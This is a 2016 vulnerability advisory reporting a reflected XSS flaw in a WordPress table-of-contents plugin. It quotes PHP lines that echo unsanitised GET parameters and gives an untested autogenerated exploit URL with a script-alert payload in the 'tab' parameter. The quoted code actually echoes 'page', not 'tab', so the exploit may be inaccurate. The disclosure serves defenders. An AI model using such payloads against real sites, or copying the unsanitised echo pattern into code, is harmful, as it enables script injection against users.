Advisory #: 704
Title: Reflected XSS in wordpress plugin extended-table-of-contents-with-nextpage-support v0.9.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/extended-table-of-contents-with-nextpage-support
Downloads: 2724
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: extended-table-of-contents-with-nextpage-support
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./extended-table-of-contents-with-nextpage-support/extended-toc.php: 153: <a class="nav-tab<?php echo !$_GET['tab']||$_GET['tab']==''?' nav-tab-active':''; ?>" href="?page=<?php echo $_GET['page']; ?>"><?php _e('Main Options', 'EXTENDED_TOC_ID'); ?></a> 154: <a class="nav-tab<?php echo $_GET['tab']=='help'?' nav-tab-active':''; ?>" href="?page=<?php echo $_GET['page']; ?>&amp;tab=help"><?php _e('Help', 'EXTENDED_TOC_ID'); ?></a> The variable tab appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./extended-table-of-contents-with-nextpage-support/extended-toc.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/extended-table-of-contents-with-nextpage-support/extended-toc.php?tab="><script>alert(1);</script><"